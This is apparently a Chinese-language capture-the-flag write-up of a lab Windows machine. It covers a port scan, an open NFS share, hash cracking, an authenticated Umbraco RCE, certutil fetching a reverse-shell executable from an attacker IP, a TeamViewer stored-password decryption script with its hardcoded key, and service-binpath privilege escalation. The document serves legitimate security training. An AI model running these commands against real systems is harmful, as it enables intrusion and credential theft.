端口扫描
nmap -sV -A -Pn 10.10.10.180
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 3m47s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-01-02T05:57:05
|_ start_date: N/A
21端口ftp匿名访问,但登进去没什么东西,也不可写
80web端口,扫目录发现是umbraco cms
根据111端口rpcbind信息,在2049端口有一个nfs服务,查看挂载信息
showmount -e 10.10.10.180
所有人可访问,那就挂载看一下
mount -t nfs 10.10.10.180:/site_backups /mnt
但只有读权限,在web.config中确认umbraco版本为7.12.4,exploit-db中发现该版本有authenticated RCE,我们现在就差一个账号了
找了一圈都没找到,无奈翻wp。发现app_data目录下的umbraco.sdf是数据库文件,strings可以发现有账号和密码hash.sdf文件确实是我的知识盲区了。
echo b8be16afba8c314ad33d812f22a04991b90e2aaa>adminhash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt adminhash.txt
john --show --format=Raw-SHA1 adminhash.txt
得到密码baconandcheese
成功登录admin@htb.local账号
python3 49488.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c systeminfo
成功执行,得到Windows系统为x64
python3 49488.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c cmd.exe -a "/c certutil -urlcache -split -f http://10.10.14.15:8000/remote.exe c:/Users/Public/re.exe"
下载反弹shell的exe文件到c:/users/public目录,这里因为没指定下载目录,找不到命令,卡了很久。
python3 49488.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c cmd.exe -a "/c c:/Users/Public/re.exe"
1.通过检查监听在本地的网络连接发现了teamviewer,及其版本。(我只到了这步)后续操作跟随wp完成
where /R c:\ TeamViewer_Service.exe
c:\Program Files (x86)\TeamViewer\Version7\TeamViewer_Service.exe
在exp中找到version7对应注册表,进入powershell
cd HKLM:\software\wow6432node\teamviewer\version7
get-itemproperty -path .
(get-itemproperty -path .).SecurityPasswordAES
得到aes加密后的密码,仿照exp用python3实现解密
from Crypto.Cipher import AES
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
ciphertext = bytes([255, 155, 28, 115, 214, 107, 206, 49, 172, 65, 62, 174,
19, 27, 70, 79, 88, 47, 108, 226, 209, 225, 243, 218,
126, 141, 55, 107, 38, 57, 78, 91])
aes = AES.new(key, AES.MODE_CBC, IV=iv)
password = aes.decrypt(ciphertext).decode("utf-16").rstrip("\x00")
print(f"[+] Found password: {password}")
得到administrator密码,使用impacket-psexec登录
2.powerup检查发现有服务可控
修改binpath为反弹shell文件
sc config usosvc binpath="c:\windows\temp4.exe"
sc stop usosvc
sc start usosvc
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。